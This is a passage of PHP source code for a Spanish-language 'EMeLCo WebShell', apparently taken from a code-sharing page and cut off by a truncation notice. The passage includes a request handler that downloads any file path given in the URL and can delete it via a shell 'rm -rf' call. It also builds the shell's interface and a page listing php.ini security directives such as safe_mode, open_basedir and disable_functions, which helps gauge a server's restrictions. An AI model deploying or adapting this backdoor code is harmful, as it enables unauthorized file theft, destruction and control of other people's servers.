  198. }elseif (( $_GET['w'] == 'descargar' ) and (( $archivo = leer_archivo($_REQUEST['ruta'] ))!==FALSE)){
  199. header('Content-type: application/force-download');
  200. header('Content-Disposition: attachment; filename="'.urlencode(basename($_REQUEST['ruta']))."\"\n");
  201. if($_GET['borrar']){
  202. unlink($_REQUEST['ruta']) or shell('rm -rf '.escapeshellarg($_REQUEST['ruta']));
  203. }
  204. die($archivo);
  205. }
  206. // Mandamos el principio del html y el css
  207. echo'
  208. <html>
  209. <head>
  210. <title>EMeLCo WebShell</title>
  211. <LINK href="'.$rfiurl.'w=css" rel="stylesheet" type="text/css">
  212. </head>
  213. <body'.(($_COOKIE['lateral']=='OFF')?' onload=ocultar() ':'').'>
  214. <div class="headoculto contenedorgrande contenedor" id="headoculto">
  215. <div style="float:left;width:10%;height:100%; position:relative; top:50%;">
  216. <br><br><br><br>
  217. <script>
  218. function ocultar(){
  219. document.cookie = "lateral=OFF; path=/";
  220. document.getElementById("flechaizquierda").style.display="";
  221. document.getElementById("flechaderecha").style.display="none";
  222. document.getElementById("headoculto").style.right="-16%";
  223. document.getElementById("contenedorgrande").style.margin="2% auto 2% auto";
  224. document.getElementById("contenedorabajo").style.margin="2% auto 2% auto";
  225. }
  226. function mostrar(){
  227. document.cookie = "lateral=ON; path=/";
  228. document.getElementById("flechaizquierda").style.display="none";
  229. document.getElementById("flechaderecha").style.display="";
  230. document.getElementById("headoculto").style.right="0";
  231. document.getElementById("contenedorgrande").style.margin="2% auto 2% 2%";
  232. document.getElementById("contenedorabajo").style.margin="2% auto 2% 2%";
  233. }
  234. </script>
  235. <img src="'.$rfiurl.'w=img&imagen=derecha" alt="&gt; &gt;" id="flechaderecha" onclick="ocultar();">
  236. <img src="'.$rfiurl.'w=img&imagen=izquierda" style="display:none;" id="flechaizquierda" alt="&lt; &lt;" onclick="mostrar();">
  237. </div>
  238. <div style="float:right; width: 90%; margin: auto 0 auto 0; overflow:auto;">'.mostrar_informacion().'
  239. </div>
  240. </div>
  241. <div class="contenedorgrande" id="contenedorgrande">
  242. <div class="contenedor">
  243. ';
  244. switch($_GET['w']){
  245. /* Mostramos las directivas mas importantes de php.ini y su explicación */
  246. case 'directivas';
  247. /* Creamos un array con todas las directivas y su descripcion */
  248. //safe mode http://ar2.php.net/manual/en/ini.sect.safe-mode.php
  249. $functions[]=array('<h2>Safe-Mode</h2>','<a href="http://ar2.php.net/manual/en/ini.sect.safe-mode.php">http://ar2.php.net/manual/en/ini.sect.safe-mode.php</a>');
  250. $functions[]=leerconfig('safe_mode',' Whether to enable PHP&#039;s safe mode. If PHP is compiled with --enable-safe-mode then defaults to On, otherwise Off.');
  251. $functions[]=leerconfig('safe_mode_gid',' By default, Safe Mode does a UID compare check when opening files. If you want to relax this to a GID compare, then turn on safe_mode_gid. Whether to use UID (FALSE) or GID (TRUE) checking upon file access. ');
  252. $functions[]=leerconfig('safe_mode_include_dir',' UID/GID checks are bypassed when including files from this directory and its subdirectories (directory must also be in include_path or full path must including). As of PHP 4.2.0, this directive can take a colon (semi-colon on Windows) separated path in a fashion similar to the include_path directive, rather than just a single directory. The restriction specified is actually a prefix, not a directory name. This means that &quot;safe_mode_include_dir = /dir/incl&quot; also allows access to &quot;/dir/include&quot; and &quot;/dir/incls&quot; if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: &quot;safe_mode_include_dir = /dir/incl/&quot; If the value of this directive is empty, no files with different UID/GID can be included in PHP 4.2.3 and as of PHP 4.3.3. In earlier versions, all files could be included. ');
  253. $functions[]=leerconfig('safe_mode_exec_dir',' If PHP is used in safe mode, system() and the other functions executing system programs refuse to start programs that are not in this directory. You have to use / as directory separator on all environments including Windows. ');
  254. $functions[]=leerconfig('safe_mode_allowed_env_vars',' Setting certain environment variables may be a potential security breach. This directive contains a comma-delimited list of prefixes. In Safe Mode, the user may only alter environment variables whose names begin with the prefixes supplied here. By default, users will only be able to set environment variables that begin with PHP_ (e.g. PHP_FOO=BAR). Note: If this directive is empty, PHP will let the user modify ANY environment variable! ');
  255. $functions[]=leerconfig('safe_mode_protected_env_vars',' This directive contains a comma-delimited list of environment variables that the end user won&#039;t be able to change using putenv(). These variables will be protected even if safe_mode_allowed_env_vars is set to allow to change them. ');
  256. $functions[]=leerconfig('open_basedir',' Limit the files that can be opened by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. All symbolic links are resolved, so it&#039;s not possible to avoid this restriction with a symlink. If the file doesn&#039;t exist then the symlink couldn&#039;t be resolved and the filename is compared to (a resolved) open_basedir. The special value . indicates that the working directory of the script will be used as the base-directory. This is, however, a little dangerous as the working directory of the script can easily be changed with chdir(). In httpd.conf, open_basedir can be turned off (e.g. for some virtual hosts) the same way as any other configuration directive with &quot;php_admin_value open_basedir none&quot;. Under Windows, separate the directories with a semicolon. On all other systems, separate the directories with a colon. As an Apache module, open_basedir paths from parent directories are now automatically inherited. The restriction specified with open_basedir is actually a prefix, not a directory name. This means that &quot;open_basedir = /dir/incl&quot; also allows access to &quot;/dir/include&quot; and &quot;/dir/incls&quot; if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: open_basedir = /dir/incl/ The default is to allow all files to be opened. Note: As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/ in php.ini a script can tighten the configuration to /www/tmp/ at run-time with ini_set() ');
  257. $functions[]=leerconfig('disable_functions',' This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf. ');
  258. $functions[]=leerconfig('disable_classes',' This directive allows you to disable certain classes for security reasons. It takes on a comma-delimited list of class names. disable_classes is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf. ');
  259. //errores http://ar2.php.net/manual/en/errorfunc.configuration.php
  260. $functions[]=array('<h2>Errores</h2>','<a href="http://ar2.php.net/manual/en/errorfunc.configuration.php">http://ar2.php.net/manual/en/errorfunc.configuration.php</a>');
  261. $functions[]=leerconfig('log_errors',' Tells whether script error messages should be logged to the server&#039;s error log or error_log. This option is thus server-specific. Note: You&#039;re strongly advised to use error logging in place of error displaying on production web sites. ');
  262. $functions[]=leerconfig('log_errors_max_len',' Set the maximum length of log_errors in bytes. In error_log information about the source is added. The default is 1024 and 0 allows to not apply any maximum length at all. This length is applied to logged errors, displayed errors and also to $php_errormsg. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  263. $functions[]=leerconfig('error_log',' Name of the file where script errors should be logged. The file should be writable by the web server&#039;s user. If the special value syslog is used, the errors are sent to the system logger instead. On Unix, this means syslog(3) and on Windows NT it means the event log. The system logger is not supported on Windows 95. See also: syslog(). If this directive is not set, errors are sent to the SAPI error logger. For example, it is an error log in Apache or stderr in CLI.');
  264. $functions[]=leerconfig('error_reporting',' Set the error reporting level. The parameter is either an integer representing a bit field, or named constants. The error_reporting levels and constants are described in Predefined Constants, and in php.ini. To set at runtime, use the error_reporting() function. See also the display_errors directive. In PHP 4 and PHP 5 the default value is E_ALL & ~E_NOTICE. This setting does not show E_NOTICE level errors. You may want to show them during development. ');
  265. //Nucleo http://ar2.php.net/manual/en/ini.core.php
  266. $functions[]=array('<h2>Lenguaje</h2>','<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  267. $functions[]=leerconfig('short_open_tag',' Tells whether the short form (&lt;? ?&gt; ) of PHP&#039;s open tag should be allowed. If you want to use PHP in combination with XML, you can disable this option in order to use &lt;?xml ?&gt; inline. Otherwise, you can print it with PHP, for example: &lt;?php echo &#039;&lt;?xml version=&quot;1.0&quot;?&gt;&#039;; ?&gt; . Also if disabled, you must use the long form of the PHP open tag (&lt;?php ?&gt; ). Note: This directive also affects the shorthand &lt;?= , which is identical to &lt;? echo . Use of this shortcut requires short_open_tag to be on. ');
  268. $functions[]=leerconfig('asp_tags',' Enables the use of ASP-like &lt;% %&gt; tags in addition to the usual &lt;?php ?&gt; tags. This includes the variable-value printing shorthand of &lt;%= $value %&gt;. For more information, see Escaping from HTML. ');
  269. //Limite de recursos http://ar2.php.net/manual/en/ini.core.php
  270. $functions[]=array('<h2>Limite de recursos</h2>','<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  271. $functions[]=leerconfig('memory_limit',' This sets the maximum amount of memory in bytes that a script is allowed to allocate. This helps prevent poorly written scripts for eating up all available memory on a server. Note that to have no memory limit, set this directive to -1. Prior to PHP 5.2.1, in order to use this directive it had to be enabled at compile time by using -enable-memory-limit in the configure line. This was also required to define the functions memory_get_usage() and memory_get_peak_usage(). When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  272. //Manejo de datos http://ar2.php.net/manual/en/ini.core.php
  273. $functions[]=array('<h2>Manejo de datos</h2>','<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  274. $functions[]=leerconfig('register_globals',' Whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables. As of ť PHP 4.2.0, this directive defaults to off. Please read the security chapter on Using register_globals for related information. Please note that register_globals cannot be set at runtime (ini_set()). Although, you can use .htaccess if your host allows it as described above. An example .htaccess entry: php_flag register_globals off . Note: register_globals is affected by the variables_order directive. ');
  275. $functions[]=leerconfig('post_max_size','Sets max size of post data allowed. This setting also affects file upload. To upload large files, this value must be larger than upload_max_filesize. If memory limit is enabled by your configure script, memory_limit also affects file uploading. Generally speaking, memory_limit should be larger than post_max_size . When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. If the size of post data is greater than post_max_size, the $_POST and $_FILES superglobals are empty. This can be tracked in various ways, e.g. by passing the $_GET variable to the script processing the data, i.e. &lt;form action=&quot;edit.php?processed=1&quot;&gt;, and then checking if $_GET[&#039;processed&#039;] is set.');
  276. $functions[]=leerconfig('gpc_order',' Set the order of GET/POST/COOKIE variable parsing. The default setting of this directive is "GPC". Setting this to "GP", for example, will cause PHP to completely ignore cookies and to overwrite any GET method variables with POST-method variables of the same name. Note: This option is not available in PHP 4. Use variables_order instead. ');
  277. $functions[]=leerconfig('auto_prepend_file',' Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require() function, so include_path is used. The special value none disables auto-prepending.');
  278. $functions[]=leerconfig('auto_append_file',' Specifies the name of a file that is automatically parsed after the main file. The file is included as if it was called with the require() function, so include_path is used. The special value none disables auto-appending. Note: If the script is terminated with exit(), auto-append will not occur. ');
  279. $functions[]=leerconfig('default_charset',' As of 4.0.0, PHP always outputs a character encoding by default in the Content-type: header. To disable sending of the charset, simply set it to be empty. ');
  280. $functions[]=leerconfig('allow_webdav_methods',' Allow handling of WebDAV http requests within PHP scripts (eg. PROPFIND, PROPPATCH, MOVE, COPY, etc.). This directive does not exist as of PHP 4.3.2. If you want to get the post data of those requests, you have to set always_populate_raw_post_data as well. ');
  281. //Rutas y carpetas http://ar2.php.net/manual/en/ini.core.php
  282. $functions[]=array('<h2>Rutas y carpetas</h2>','<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  283. $functions[]=leerconfig('include_path',' Specifies a list of directories where the require(), include(), fopen(), file(), readfile() and file_get_contents() functions look for files. The format is like the system&#039;s PATH environment variable: a list of directories separated with a colon in Unix or semicolon in Windows. ');
  284. $functions[]=leerconfig('doc_root',' PHP&#039;s &quot;root directory&quot; on the server. Only used if non-empty. If PHP is configured with safe mode, no files outside this directory are served. If PHP was not compiled with FORCE_REDIRECT, you should set doc_root if you are running PHP as a CGI under any web server (other than IIS). The alternative is to use the cgi.force_redirect configuration below. ');
  285. $functions[]=leerconfig('user_dir',' The base name of the directory used on a user&#039;s home directory for PHP files, for example public_html.');
  286. $functions[]=leerconfig('extension_dir',' In what directory PHP should look for dynamically loadable extensions. See also: enable_dl, and dl(). ');
  287. $functions[]=leerconfig('extension',' Which dynamically loadable extensions to load when PHP starts up.');
  288. $functions[]=leerconfig('zend_extension',' Absolute path to dynamically loadable Zend extension (for example APD) to load when PHP starts up. ');
  289. $functions[]=leerconfig('zend_extension_debug',' Variant of zend_extension for extensions compilled with debug info. ');
  290. $functions[]=leerconfig('zend_extension_debug_ts',' Variant of zend_extension for extensions compilled with debug info and thread safety. ');
  291. $functions[]=leerconfig('zend_extension_ts',' Variant of zend_extension for extensions compilled with thread safety. ');
  292. $functions[]=leerconfig('cgi.force_redirect',' cgi.force_redirect is necessary to provide security running PHP as a CGI under most web servers. Left undefined, PHP turns this on by default. You can turn it off at your own risk. Note: Windows Users: You can safely turn this off for IIS, in fact, you must. To get OmniHTTPD or Xitami to work you must turn it off. ');
  293. //Subida de archivos http://ar2.php.net/manual/en/ini.core.php
  294. $functions[]=array('<h2>Subida de archivos</h2>','<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  295. $functions[]=leerconfig('file_uploads',' Whether or not to allow HTTP file uploads. See also the upload_max_filesize, upload_tmp_dir, and post_max_size directives. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  296. $functions[]=leerconfig('upload_tmp_dir','The temporary directory used for storing files when doing file upload. Must be writable by whatever user PHP is running as. If not specified PHP will use the system&#039;s default. ');
  297. $functions[]=leerconfig('upload_max_filesize',' The maximum size of an uploaded file. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  298. //SQL http://ar2.php.net/manual/en/ini.core.php
  299. $functions[]=array('<h2>SQL</h2>','<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  300. $functions[]=leerconfig('sql.safe_mode','If turned on, database connect functions that specify default values will use those values in place of supplied arguments. For default values see connect function documentation for the relevant database. ');
  301. //Ejecución http://ar2.php.net/manual/en/info.configuration.php
  302. $functions[]=array('<h2>Ejecuci&oacute;n</h2>','<a href="http://ar2.php.net/manual/en/info.configuration.php">http://ar2.php.net/manual/en/info.configuration.php</a>, <a href="http://ar2.php.net/manual/en/filesystem.configuration.php">http://ar2.php.net/manual/en/filesystem.configuration.php</a>');
  303. $functions[]=leerconfig('enable_dl',' This directive is really only useful in the Apache module version of PHP. You can turn dynamic loading of PHP extensions with dl() on and off per virtual server or per directory. The main reason for turning dynamic loading off is security. With dynamic loading, it&#039;s possible to ignore all open_basedir restrictions. The default is to allow dynamic loading, except when using safe mode. In safe mode, it&#039;s always impossible to use dl().');
  304. $functions[]=leerconfig('max_execution_time',' This sets the maximum time in seconds a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server. The default setting is 30. When running PHP from the command line the default setting is 0. The maximum execution time is not affected by system calls, stream operations etc. Please see the set_time_limit() function for more details. You can not change this setting with ini_set() when running in safe mode. The only workaround is to turn off safe mode or by changing the time limit in the php.ini. Your web server can have other timeout configurations that may also interrupt PHP execution. Apache has a Timeout directive and IIS has a CGI timeout function. Both default to 300 seconds. See your web server documentation for specific details.');
  305. $functions[]=leerconfig('magic_quotes_gpc',' Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all &#039; (single-quote), &quot; (double quote), \ (backslash) and NUL&#039;s are escaped with a backslash automatically. Note: In PHP 4, also $_ENV variables are escaped. Note: If the magic_quotes_sybase directive is also ON it will completely override magic_quotes_gpc. Having both directives enabled means only single quotes are escaped as &#039;&#039;. Double quotes, backslashes and NUL&#039;s will remain untouched and unescaped. ');
  306. $functions[]=leerconfig('magic_quotes_runtime','If magic_quotes_runtime is enabled, most functions that return data from any sort of external source including databases and text files will have quotes escaped with …

Large files files are truncated, but you can click here to view the full file